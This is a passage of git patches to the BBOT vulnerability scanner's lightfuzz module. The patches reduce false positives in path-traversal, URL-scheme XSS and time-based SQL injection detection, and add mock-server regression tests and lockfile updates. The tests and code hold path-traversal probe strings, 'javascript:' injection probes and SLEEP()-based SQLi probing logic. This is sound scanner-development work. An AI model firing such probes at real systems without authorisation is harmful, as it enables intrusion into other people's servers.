is True and doubledot_probe[0] is False - and doubledot_probe[3] is not None + and doubledot_is_success and doubledot_probe[1] != ["header"] and not await self.lightfuzz.helpers.yara.match( - self.lightfuzz.waf_yara_rules, doubledot_probe[3].text + self.lightfuzz.waf_yara_rules, doubledot_response.text ) ): confirmations += 1 diff --git a/bbot/modules/lightfuzz/submodules/xss.py b/bbot/modules/lightfuzz/submodules/xss.py index 1f1ac023b1..da5aeaaeb4 100644 --- a/bbot/modules/lightfuzz/submodules/xss.py +++ b/bbot/modules/lightfuzz/submodules/xss.py @@ -23,6 +23,31 @@ class xss(BaseLightfuzz): friendly_name = "Cross-Site Scripting" + # Attributes the browser will navigate to or fetch from. A `javascript:` + # URL only becomes an XSS sink when reflected into one of these. + _url_bearing_attrs = ( + "href", + "src", + "action", + "formaction", + "data", + "poster", + "background", + "cite", + "usemap", + "icon", + "manifest", + "longdesc", + "codebase", + "ping", + "archive", + "xlink:href", + ) + # Match `=` immediately at the end of a small preceding window. + # Leading `[\s/]` requires a real attribute boundary so prefixes like + # `data-href=` or `src-foo=` don't masquerade as URL-bearing. + _url_attr_regex = re.compile(r"(?i)[\s/](" + "|".join(re.escape(a) for a in _url_bearing_attrs) + r")\s*=\s*$") + async def determine_context(self, cookies, html, random_string): """ Determines the context of the random string in the HTML response. @@ -143,6 +168,20 @@ def _verify_match_context(self, html, match, context): rf"[^<]*(?:<(?!\/script>)[^<]*)*<\/script>" ) return bool(in_js_regex.search(html)) + elif "URL-scheme Injection" in context: + # The match key starts with the wrapping quote (`"javascript:RAND` + # or `'javascript:RAND`). The attribute name and `=` live in the + # bytes immediately preceding that quote. Only fire if at least + # one occurrence is in a URL-bearing attribute — otherwise a + # `` reflection (HTML-encoded, no + # exploitation path) would false-positive. + pos = html.find(match) + while pos != -1: + preceding = html[max(0, pos - 64) : pos] + if self._url_attr_regex.search(preceding): + return True + pos = html.find(match, pos + 1) + return False return True async def check_probe(self, cookies, probe, match, context): diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index d05c9ef66a..f15b522841 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -47,9 +47,20 @@ def request_handler(self, request): + """ + # Real path-traversal payload: a successful fetch of a different + # resource (200 + distinct body). This is what a vulnerable server + # actually returns — it's the signal the detector relies on. + traversed_block = """ + + + +SECRET_FROM_PARENT_DIR """ if value == "%2F.%2Fa%2F..%2Fdefault.jpg" or value == "default.jpg": return Response(block, status=200) + if value == "%2F..%2Fa%2F..%2Fdefault.jpg": + return Response(traversed_block, status=200) return Response("file not found", status=500) def check(self, module_test, events): @@ -89,6 +100,15 @@ def request_handler(self, request): + """ + # Real strict-resolver traversal: `../X` reads a different file + # successfully (200 + distinct body). The detector requires a + # successful fetch on the doubledot probe to flag. + traversed_block = """ + + + +SECRET_FROM_PARENT_DIR """ # Only exact-file or simple-dot-prefixed reads succeed. Any path # containing `a/../` fails because `a/` does not exist, mirroring @@ -100,6 +120,8 @@ def request_handler(self, request): "%2E%2Fdefault.jpg", ): return Response(block, status=200) + if value == "../default.jpg": + return Response(traversed_block, status=200) return Response("file not found", status=500) def check(self, module_test, events): @@ -125,6 +147,46 @@ def check(self, module_test, events): ) +# Negative regression test for the JSF-style path-traversal FP: a server +# that normalizes `./X` (returns the canonical resource for the no-op +# prefix) but strictly REJECTS any `..` segment with a 4xx/empty body. +# That's the opposite of a vulnerability — no file from a different path +# is being delivered. The detector must not emit a finding. +class Test_Lightfuzz_path_singledot_rejection_fp(Test_Lightfuzz_path_singledot): + def request_handler(self, request): + qs = str(request.query_string.decode()) + if "filename=" in qs: + value = qs.split("=")[1] + if "&" in value: + value = value.split("&")[0] + + # Strict rejection of any `..` segment in any encoding (raw, + # url-encoded, double-url-encoded). Empty body — no resource + # exfiltrated. + decoded = unquote(unquote(value)) + if ".." in decoded: + return Response("", status=404) + + block = """ + + + + """ + # Server normalizes `./` (and url-encoded variants) to a no-op + # and returns the canonical resource — singledot tolerance only. + if "default.jpg" in decoded: + return Response(block, status=200) + return Response("", status=404) + + def check(self, module_test, events): + for e in events: + if e.type == "FINDING": + desc = e.data["description"] + assert "Possible Path Traversal" not in desc and "POSSIBLE Path Traversal" not in desc, ( + f"Path Traversal false positive emitted when server rejects `..`: {desc}" + ) + + # Path Traversal Absolute path class Test_Lightfuzz_path_absolute(Test_Lightfuzz_path_singledot): etc_passwd = """ @@ -568,6 +630,55 @@ def check(self, module_test, events): assert xss_finding_emitted, "URL-scheme Injection XSS FINDING not emitted" +# Negative regression test for the FMCSA-style URL-scheme false positive: +# the parameter is reflected only into a non-URL-bearing attribute +# (``), with `<`, `>`, `"` HTML-encoded everywhere else. +# `javascript:RAND` survives into the value attribute, but no browser will +# navigate to it from there. The URL-scheme Injection probe must NOT fire. +class Test_Lightfuzz_xss_url_scheme_value_attr_fp(Test_Lightfuzz_xss): + def request_handler(self, request): + qs = str(request.query_string.decode()) + parameter_block = """ + + Link + + """ + if "Keyword=" in qs: + value = qs.split("=")[1] + if "&" in value: + value = value.split("&")[0] + decoded = unquote(value) + # Mimic the FMCSA pattern: `"`, `<`, `>` are HTML-encoded + # outside the value attribute, and the only place the raw + # token survives is inside ``. + safe = decoded.replace("&", "&").replace("<", "<").replace(">", ">").replace('"', """) + return Response( + f"" + f"{safe}" + f'' + f"", + status=200, + ) + return Response(parameter_block, status=200) + + async def setup_after_prep(self, module_test): + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( + "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) + expect_args = re.compile("/") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + expect_args = re.compile("/otherpage.php") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + def check(self, module_test, events): + for e in events: + if e.type == "FINDING": + desc = e.data["description"] + assert "URL-scheme Injection" not in desc, ( + f"URL-scheme Injection false positive emitted for non-URL-bearing attribute: {desc}" + ) + + # Base64 Envelope XSS Detection class Test_Lightfuzz_envelope_base64(Test_Lightfuzz_xss): def request_handler(self, request): From f6876ee48beef9e28f05a022b0ec93d838d0f50b Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 7 May 2026 13:15:32 -0400 Subject: [PATCH 28/50] lightfuzz/sqli: junk-value control probe to suppress CDN cache-miss false positives MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit When a target is fronted by a CDN, baseline measurements (using the original parameter value) hit the edge cache and return fast, while any mangled value misses the cache and pays the origin round-trip — adding several seconds of latency that the delay detector mistakes for a successful SLEEP() execution. Before running the SQL delay payloads, send a non-SQL junk value of similar length: if its delay also lands in the SLEEP() window, the latency is cache-miss, not SQL execution, so we abort the time-based tests for this parameter. Also pins blasthttp to <0.5.0; this branch's http.py still uses the pre-0.5 header-iteration API. --- bbot/modules/lightfuzz/submodules/sqli.py | 13 ++ pyproject.toml | 2 +- uv.lock | 152 +++++++++++----------- 3 files changed, 90 insertions(+), 77 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/sqli.py b/bbot/modules/lightfuzz/submodules/sqli.py index 6c57b15423..34e2b6147b 100644 --- a/bbot/modules/lightfuzz/submodules/sqli.py +++ b/bbot/modules/lightfuzz/submodules/sqli.py @@ -248,6 +248,19 @@ async def fuzz(self): baseline_2_delay = baseline_2.elapsed.total_seconds() mean_baseline = statistics.mean([baseline_1_delay, baseline_2_delay]) + # CDN cache-miss control: junk value misses the edge cache like our SQL payloads + # would. If its delay lands in the SLEEP() window, the latency is cache-miss, not + # SQL execution — bail to avoid false positives. + junk_value = f"{probe_value}{self.lightfuzz.helpers.rand_string(20, numeric_only=True)}" + junk_response = await self.standard_probe( + self.event.data["type"], cookies, junk_value, additional_params_populate_empty=True + ) + if junk_response and self.evaluate_delay(mean_baseline, junk_response.elapsed.total_seconds()): + self.debug( + "Junk control probe matched delay window — CDN cache-miss pattern, aborting time-based tests" + ) + return + for p in standard_probe_strings: confirmations = 0 for i in range(0, 3): diff --git a/pyproject.toml b/pyproject.toml index f989ee8149..45ffa2cafc 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -48,7 +48,7 @@ dependencies = [ "ansible-core>=2.17,<3", "tldextract>=5.3.0,<6", "cloudcheck>=9.2.0,<10", - "blasthttp>=0.3.2", + "blasthttp>=0.3.2,<0.5.0", "blastdns>=1.9.0,<2", ] diff --git a/uv.lock b/uv.lock index 9778d55ddd..838efb4a0f 100644 --- a/uv.lock +++ b/uv.lock @@ -268,7 +268,7 @@ requires-dist = [ { name = "asndb", specifier = ">=1.0.4" }, { name = "beautifulsoup4", specifier = ">=4.12.2,<5" }, { name = "blastdns", specifier = ">=1.9.0,<2" }, - { name = "blasthttp", specifier = ">=0.2.0" }, + { name = "blasthttp", specifier = ">=0.3.2,<0.5.0" }, { name = "cachetools", specifier = ">=5.3.2,<8.0.0" }, { name = "cloudcheck", specifier = ">=9.2.0,<10" }, { name = "deepdiff", specifier = ">=8.0.0,<10" }, @@ -315,7 +315,7 @@ dev = [ { name = "pytest-httpx", specifier = ">=0.35" }, { name = "pytest-rerunfailures", specifier = ">=14,<17" }, { name = "pytest-timeout", specifier = ">=2.3.1,<3" }, - { name = "ruff", specifier = "==0.15.10" }, + { name = "ruff", specifier = "==0.15.12" }, { name = "urllib3", specifier = ">=2.0.2,<3" }, { name = "uvicorn", specifier = ">=0.32,<0.40" }, { name = "werkzeug", specifier = ">=2.3.4,<4.0.0" }, @@ -450,60 +450,60 @@ wheels = [ [[package]] name = "blasthttp" -version = "0.2.0" +version = "0.4.0" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/d1/41/74af6a882f37b58883f6f48f7e3d0227f5929f080df63cdf1fd82136d924/blasthttp-0.2.0.tar.gz", hash = "sha256:94b396c79e9a2391ea9c07270d88d6270fa049affaa31b923819d7cb5a40e602", size = 58106, upload-time = "2026-04-03T04:33:27.833Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/9a/a4/145d8626afc086225e57ebe754c6f3e44343608e19154ed9f822640329c2/blasthttp-0.2.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:5913eadf36e84034c60b6a86b706992bad7014fb900569809105109d9d25348f", size = 4329675, upload-time = "2026-04-03T04:32:19.759Z" }, - { url = "https://files.pythonhosted.org/packages/3f/42/ae8d820486759d3356c480c3073cb43682af7bc057e8bd9ca7caac376456/blasthttp-0.2.0-cp310-cp310-manylinux_2_28_armv7l.whl", hash = "sha256:b69664e2c1f3c7606cc301ee918f0cd8492532394d4e80ee7e501c78c4a29bc0", size = 3659544, upload-time = "2026-04-03T04:32:26.434Z" }, - { url = "https://files.pythonhosted.org/packages/e3/5c/7590c50ef72da9dc170bbcf2e29ab15229cd55a2615653efa33bc00a7b3d/blasthttp-0.2.0-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:c229dc156c4da74592ccc95dc20de66d1ad7b4215137a09a4a54a1fefe12dfec", size = 4220396, upload-time = "2026-04-03T04:32:46.236Z" }, - { url = "https://files.pythonhosted.org/packages/b2/20/dd550b3f39610494e0c23618d79c1b4cb19a918ddd619c840442d5660435/blasthttp-0.2.0-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:ca930a387dd6e9c38b2bf5d1b5afd5228007b53aec470b9e9d3ad199976b45d9", size = 4255998, upload-time = "2026-04-03T04:32:33.043Z" }, - { url = "https://files.pythonhosted.org/packages/13/26/30defc894e1eba93284db99cd5cc2850c0bfaf2c0bdf2cb1864cfb2d305a/blasthttp-0.2.0-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:ed103596860675bd80f62df2329db420e5902e19c6841a7ae48d9e9053f95ba3", size = 3863391, upload-time = "2026-04-03T04:32:39.918Z" }, - { url = "https://files.pythonhosted.org/packages/49/8c/626b70789b1974db181fb9963d592ada74e1ac9caa7df1b7497f33a213e6/blasthttp-0.2.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:511b13ac0d36875e3093202c7357c4e0ecf88cae4a222638f9d81399ade008b7", size = 4021982, upload-time = "2026-04-03T04:32:53.562Z" }, - { url = "https://files.pythonhosted.org/packages/d2/01/c75e926f36c646ba9991eef7b47d3e34679267948b5c2ef5ffdee0c1b359/blasthttp-0.2.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:93e9a2d5bf92aaa9310f3c2a69f479da508fad9ac0cb4ae9f18ce943bd5bb9a6", size = 4620989, upload-time = "2026-04-03T04:33:00.498Z" }, - { url = "https://files.pythonhosted.org/packages/b5/79/59bfe5a7395543badad6e01413f0a3eac46dec9fc48b5ff5c6a59d76b31a/blasthttp-0.2.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:fadd1864fc7da11b56fc455c5609229c8075b72d468cd241bad495cf361f79bf", size = 3962193, upload-time = "2026-04-03T04:33:08.002Z" }, - { url = "https://files.pythonhosted.org/packages/f3/82/2dd1f89f1fbc8528ccb60530263a5a74a3557783ed29bdaba0833268e60f/blasthttp-0.2.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e58be764ebfc3b4e49fabd6df6d9d1c050940b585d4bd7655040f5c8713a7c38", size = 4367489, upload-time = "2026-04-03T04:33:14.263Z" }, - { url = "https://files.pythonhosted.org/packages/c8/0b/b6c902c368d3cbce14bad9077a48eac75f87859555f42a34b8ebbf02ed1c/blasthttp-0.2.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:3689e259334384afd9b6e51b86b40f029f4cbc4d15328ee2df7a3d075b68ee8d", size = 4341965, upload-time = "2026-04-03T04:33:20.566Z" }, - { url = "https://files.pythonhosted.org/packages/ad/c0/90450af2a5dcc623db924a924c0a70adf3e95e2c0f6f3198a1a09ee7f590/blasthttp-0.2.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:d5616e6c282b552d06408d6819f0d1a978c26cf2a325190d925f29472463f6b5", size = 4326488, upload-time = "2026-04-03T04:32:21.184Z" }, - { url = "https://files.pythonhosted.org/packages/d1/c1/04b224e27fd0c50e77d5431a0bb3feb68b5e58738ae3b6d3e35b2a0820a5/blasthttp-0.2.0-cp311-cp311-manylinux_2_28_armv7l.whl", hash = "sha256:ec670c9e488212b9c19c1ff5d377a18e67a12684dc472378c72646f562bdfea1", size = 3655940, upload-time = "2026-04-03T04:32:27.961Z" }, - { url = "https://files.pythonhosted.org/packages/9a/39/912f3e2868a20046b72282aa3297a555ba84776e1df56972e89b0029a0ba/blasthttp-0.2.0-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:c9d715be62edf5ca5a2b01c51e11a2626d12967b44f99d44aed66dedb1328709", size = 4218146, upload-time = "2026-04-03T04:32:47.8Z" }, - { url = "https://files.pythonhosted.org/packages/59/40/c878f73c60ab585862f51b6ac849041710a93c607abb26a42b868d0271da/blasthttp-0.2.0-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:a61bdaa41d8c2113022b20ed2e766327bdac0ef244a4b7688a46107d31c48f08", size = 4253976, upload-time = "2026-04-03T04:32:34.627Z" }, - { url = "https://files.pythonhosted.org/packages/f0/5c/0ae9a6f55366a1fc20198dd5eb7acbb503f5d4cca66d9a6f6195d7cbf160/blasthttp-0.2.0-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:8ea1c69d08fc95fb6f5ed90cd10175d4218cf96d4d326bfdc3c83de0f60feb03", size = 3859892, upload-time = "2026-04-03T04:32:41.132Z" }, - { url = "https://files.pythonhosted.org/packages/22/4d/6a60b8d386b467c0e8e33152738cc3c33abdee33855fc9af5126023a410d/blasthttp-0.2.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:60e97e1a1581a901af7f4442ced0ad17aa6574cfb7d1ac234dd057248df7a14d", size = 4019079, upload-time = "2026-04-03T04:32:55.077Z" }, - { url = "https://files.pythonhosted.org/packages/46/26/e622ecc31f6721d68b6a52426e92968c3fe39e00eecca463fce78921169e/blasthttp-0.2.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:5f3facae2a0e3be7eca3c7c0b4a112d5ef12fed8c4fe40c38c0b6e433b5ec884", size = 4616754, upload-time = "2026-04-03T04:33:01.864Z" }, - { url = "https://files.pythonhosted.org/packages/c2/38/084209f1f8e5575607ebe6fd7d31cdd95439bec53f525795a67545738c30/blasthttp-0.2.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:1b5f046b7571fe311af3b1f2cfac7b907beb072cf0f66b47a906f1a6f7d58cba", size = 3961015, upload-time = "2026-04-03T04:33:09.411Z" }, - { url = "https://files.pythonhosted.org/packages/dc/57/d69490381817665aaecd2b98fa0d616e51b9faf27bde9990e8dd9ee952c4/blasthttp-0.2.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:9934310b4e7e9b856b198dc34ef5b856d179cb37938a2f61338c2871bfbefd67", size = 4363684, upload-time = "2026-04-03T04:33:15.501Z" }, - { url = "https://files.pythonhosted.org/packages/39/20/dd70aa7e670e4973508a2fec7eabde0b1073a77763f906b488a5abca124f/blasthttp-0.2.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:565d364c78c949772dce9b9f14aa16a00492ef29a55758b5129f39015959f5dc", size = 4339653, upload-time = "2026-04-03T04:33:21.747Z" }, - { url = "https://files.pythonhosted.org/packages/03/94/bfcee47aa6726d3f305090e8ef2b1c3756eda97eedf792df48f4c5a4f9db/blasthttp-0.2.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:0313952af506b0810c429bd2e83c7174079646811ee31144a5d2f021863be4ca", size = 4325829, upload-time = "2026-04-03T04:32:22.424Z" }, - { url = "https://files.pythonhosted.org/packages/53/69/412d1b74c06d1ecf52d4a31591b2b9ac02fb1c7bc9ba12ec7a875e815c35/blasthttp-0.2.0-cp312-cp312-manylinux_2_28_armv7l.whl", hash = "sha256:ce01d0416fd4a2e0e1c384683d939bc9f24c81075b0e696a5a4b971cbb89ea61", size = 3652836, upload-time = "2026-04-03T04:32:29.445Z" }, - { url = "https://files.pythonhosted.org/packages/83/31/c427e70a70d5f7e26135d3cbc5d238c41ae25ac230a45891096bf49b7569/blasthttp-0.2.0-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:73a63f3f10586893f9fc553d6c1909a27a7262b46758721bc22a7c7ab2048b41", size = 4215009, upload-time = "2026-04-03T04:32:49.262Z" }, - { url = "https://files.pythonhosted.org/packages/fa/a9/4aa4d31ed5bfca64a954ec8b30f239330ecbaa2e7bf8904e072775c02958/blasthttp-0.2.0-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:1c4d80c608ee1d804cd0a31407d20ad6eb6c8b95b364852d811bb3b47f28fb96", size = 4255433, upload-time = "2026-04-03T04:32:35.974Z" }, - { url = "https://files.pythonhosted.org/packages/bd/20/c87ba23fbaeca4b481b57d90f283093291acde26e30fcd532ebef0f9c676/blasthttp-0.2.0-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:83c835a6d22299f14ed829648b4297bdcfa348604d1e9b59af502eb3a425aa3e", size = 3859175, upload-time = "2026-04-03T04:32:42.305Z" }, - { url = "https://files.pythonhosted.org/packages/7e/2d/8150eaeeeb031ddb878dbabfc951bea80c2e5926820a897767c52fa22a8b/blasthttp-0.2.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:3bcb5bfeb2cd616dc9e5124377e19bbff4578062c697bc25bbecb89d5bf38c01", size = 4020354, upload-time = "2026-04-03T04:32:56.362Z" }, - { url = "https://files.pythonhosted.org/packages/c9/ca/2e3c76bbcda25cf5b736d45d2291c86417eaa4a49cdfecede7d9395a5989/blasthttp-0.2.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1148b5995b587d7cceeaf3216cc37f7c80d5cf47c48a5fc846b5a82bf3a93714", size = 4616044, upload-time = "2026-04-03T04:33:03.42Z" }, - { url = "https://files.pythonhosted.org/packages/7f/9f/47356ba8441beff2a6c728f6a6a8c88e75bc6f7b10b232f4d38fcedbfb81/blasthttp-0.2.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:947011d25059e48de9511bb8ff25c738059b81a1305191d9ea65ea03c25c43f6", size = 3958179, upload-time = "2026-04-03T04:33:10.647Z" }, - { url = "https://files.pythonhosted.org/packages/c4/86/0f6dff3c0067e622980253e8f75924437f328a1179cfd3869b1eed472dca/blasthttp-0.2.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:0a9cd1f6dcf0070e2ccb8275196077de2abd04856718859579d306cbc7a6780e", size = 4360650, upload-time = "2026-04-03T04:33:16.99Z" }, - { url = "https://files.pythonhosted.org/packages/3c/ca/c3456609fa332dde2e87e95549d99d958a511f0295c104ab95b1b490b1e6/blasthttp-0.2.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:644eb9861303113a3ff3780e943c72f440835f0f0d3f73f1280ded8e10a4e5f0", size = 4340404, upload-time = "2026-04-03T04:33:23.294Z" }, - { url = "https://files.pythonhosted.org/packages/63/32/04c3fdb7b0ce2f75af24bc908f8eab4d3f1005929554d0994da25485777e/blasthttp-0.2.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:9f11a353be8da6d7474a4299538b207a14828923bcd7560718453ffc426633ec", size = 4326834, upload-time = "2026-04-03T04:32:23.821Z" }, - { url = "https://files.pythonhosted.org/packages/51/a9/553833776745cb17693cac4dd03b3b38c13b1ff5582dd260ad857e7006da/blasthttp-0.2.0-cp313-cp313-manylinux_2_28_armv7l.whl", hash = "sha256:c818ac0b0f4515f7dc08000c09ef51a51edeb46c363650149854c1b449df5e84", size = 3654702, upload-time = "2026-04-03T04:32:30.663Z" }, - { url = "https://files.pythonhosted.org/packages/ec/37/d25564e28a0d7e76aa61d0ba0dba9f2c644536a054f01414df02e5844a5b/blasthttp-0.2.0-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:761668e903581d3fff7ce23e4cfb7d5f81331c3ae90ad9af224c053b28812c16", size = 4212839, upload-time = "2026-04-03T04:32:50.56Z" }, - { url = "https://files.pythonhosted.org/packages/4a/9c/fb281fe2af54bb30851c55973fc96f62d6f910b8a5510e2acb1d6c27011a/blasthttp-0.2.0-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:cb98ca7478a7e09509c3223514c2c3f06aae54d09afe77fd29d42933731f9407", size = 4253492, upload-time = "2026-04-03T04:32:37.448Z" }, - { url = "https://files.pythonhosted.org/packages/3b/f4/a76d12aa5bf9df6020dddd9ae6b79081356d8a338f39f44fcf07ebbf06c5/blasthttp-0.2.0-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:8232cd36ff05be76565d61e6b141b2bddc79e4a359d137a6810767cb5e6f6424", size = 3859735, upload-time = "2026-04-03T04:32:43.583Z" }, - { url = "https://files.pythonhosted.org/packages/1f/5e/5c38aec9625b2dca2290a1f4a0c7e4925dd0d82dbbc00bac7273e415cc32/blasthttp-0.2.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:400c95f58b1fbe21ae1209780f27014c47e4b302cbb3c2fcbf18a48c7c59d090", size = 4019837, upload-time = "2026-04-03T04:32:57.578Z" }, - { url = "https://files.pythonhosted.org/packages/48/e5/68a003b4ce28bf9309501bbfe2f1c96341542edeb648f0a3287b223196a4/blasthttp-0.2.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:622e4c953b8a70c70d7b0ca6f1d54de1bf0f2ef4eafab9245f6fca9102f4f03b", size = 4616450, upload-time = "2026-04-03T04:33:04.766Z" }, - { url = "https://files.pythonhosted.org/packages/4e/f9/4f73dea2371094ca336aa5a90c4c5171382ba98553552f3e639d4e924316/blasthttp-0.2.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:d1748052f2f378a56cff91f0c6f567a24e2d24640ab45076013434c870b6abcf", size = 3959757, upload-time = "2026-04-03T04:33:11.859Z" }, - { url = "https://files.pythonhosted.org/packages/b6/f8/921e049ed1a72e7d1d4444b5c457ac020ca88f5b0b39b8a94273b91446db/blasthttp-0.2.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:2dd4fc6c5da320f2f3a46dba9f05766cdf627a5de8eb6edc249eb10ac6204380", size = 4358090, upload-time = "2026-04-03T04:33:18.156Z" }, - { url = "https://files.pythonhosted.org/packages/70/49/e6d214ea29d874fc62004d5514e562281a3c5b745f06d8cc3f9dd1ae5407/blasthttp-0.2.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:5e366ed494a4ccff35248d26a88b143d0e784c6741058f360859691e04cd5d75", size = 4340178, upload-time = "2026-04-03T04:33:25.093Z" }, - { url = "https://files.pythonhosted.org/packages/11/ac/db0abd5969e7146fda4fcd6957c479d3dd793185b2f0405a122af275b616/blasthttp-0.2.0-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:5567a9e1be296b165cfd1765f5ae42cfb5cc0d76b2b4eb249cd45ef120a84991", size = 4325710, upload-time = "2026-04-03T04:32:25.211Z" }, - { url = "https://files.pythonhosted.org/packages/a8/83/6c3608324775ab6c0cbaaed926b11e47bfab75bf77cc433371d152919088/blasthttp-0.2.0-cp314-cp314-manylinux_2_28_armv7l.whl", hash = "sha256:0c5bcb67b9a9446530d8b7c796dde2cbe7a10c0ef88828bd29520de666587fda", size = 3654962, upload-time = "2026-04-03T04:32:31.824Z" }, - { url = "https://files.pythonhosted.org/packages/98/bf/1fe69d59196ff02f61100b1bb20ad5dc0d41f3159877293fa9b920f65d27/blasthttp-0.2.0-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:4c2a966e6ec4bf57dc080c27c65110592cc2e1eb499073c8c7aa70b0351b8f8d", size = 4213633, upload-time = "2026-04-03T04:32:52.007Z" }, - { url = "https://files.pythonhosted.org/packages/85/0f/862810e581fd8cad5140c549fc0df706f11f3fb7074a1819b52867871c6f/blasthttp-0.2.0-cp314-cp314-manylinux_2_28_ppc64le.whl", hash = "sha256:b2fcc5a36846e1ab14c2c874bb98b3673275ba1f91128d1d134168e7f0469662", size = 4253218, upload-time = "2026-04-03T04:32:38.697Z" }, - { url = "https://files.pythonhosted.org/packages/81/76/f92fb9b304080453e15fa6cf84c716ac64d21d717e4f850183c56eab7633/blasthttp-0.2.0-cp314-cp314-manylinux_2_28_s390x.whl", hash = "sha256:fa180f2b1ec7db5755b1e267a413f73f3d39ff31f20be1ec033a367ceadd2b65", size = 3858420, upload-time = "2026-04-03T04:32:45.021Z" }, - { url = "https://files.pythonhosted.org/packages/60/5b/418661b162c8a356adfff5266d0937d43ce8a5ae7424f6feddcb58c36020/blasthttp-0.2.0-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:4f32a0df53bc0ec3a7f1b18e7b204b093eb60034ae34b0aad62587b5f79b7767", size = 4020170, upload-time = "2026-04-03T04:32:58.948Z" }, - { url = "https://files.pythonhosted.org/packages/79/7a/56d23094548aca867cbb03b2889c3bce309f59334f1c3dadba1e78204a5a/blasthttp-0.2.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:d958dc62c2006ecd05660bbfb5f7e549c53d8aa35ee0e3fca51c4d7cdb58d485", size = 4616169, upload-time = "2026-04-03T04:33:06.046Z" }, - { url = "https://files.pythonhosted.org/packages/4d/9c/232492eac2e5f2a6ef232317d9fa0373b7bfe98e2fb72fcf356f8893b4fc/blasthttp-0.2.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:ba290ff36e3cf5905f19f008185350ab3c376b73a3064fd776a8b08e56e3dd7d", size = 3958090, upload-time = "2026-04-03T04:33:13.07Z" }, - { url = "https://files.pythonhosted.org/packages/72/3b/584c05f053760f9a68ce743ca34de313b72323fd6a99362af17a466acfa2/blasthttp-0.2.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:308e0feb2360b90ceb90c8cf70e29c0b07ec5f3946bf54dfc5124b69b01e99e4", size = 4356563, upload-time = "2026-04-03T04:33:19.333Z" }, - { url = "https://files.pythonhosted.org/packages/c8/8e/f3c0d5563523dcd16705977a75cb460b77f1eac236eee04be33927930160/blasthttp-0.2.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:db61cc79fd0843ff2d9b016d4578901955a7758fcddabc5ac843a60dfbc80569", size = 4340145, upload-time = "2026-04-03T04:33:26.484Z" }, +sdist = { url = "https://files.pythonhosted.org/packages/90/86/0dd004f90fa242271b18e4767714969b92bd8bbedeb0eaf17924f9638aea/blasthttp-0.4.0.tar.gz", hash = "sha256:9c2280e8fe6aea609e6bb5c3801f9933798bdd397b0f9e6438e4dd4dc2a38599", size = 111609, upload-time = "2026-05-01T16:11:37.758Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7c/f2/2c93f63eb949bed093b51841334a7f0e55b4f33c391abece72a9fd486d18/blasthttp-0.4.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:b4685f7b9958900d277fbef4779441b64d9041a80eede1cb75ece786030837ef", size = 4566226, upload-time = "2026-05-01T16:10:17.651Z" }, + { url = "https://files.pythonhosted.org/packages/c6/44/a47fad5edd6ac09f76c9ec08d9816dc67ea1fa74b92a8a6af6f3b39c533b/blasthttp-0.4.0-cp310-cp310-manylinux_2_28_armv7l.whl", hash = "sha256:7e941013fc1b4a847e8ea5af28bfbe846c15c9062b54feef9e441afc9f5116c8", size = 3887426, upload-time = "2026-05-01T16:10:25.704Z" }, + { url = 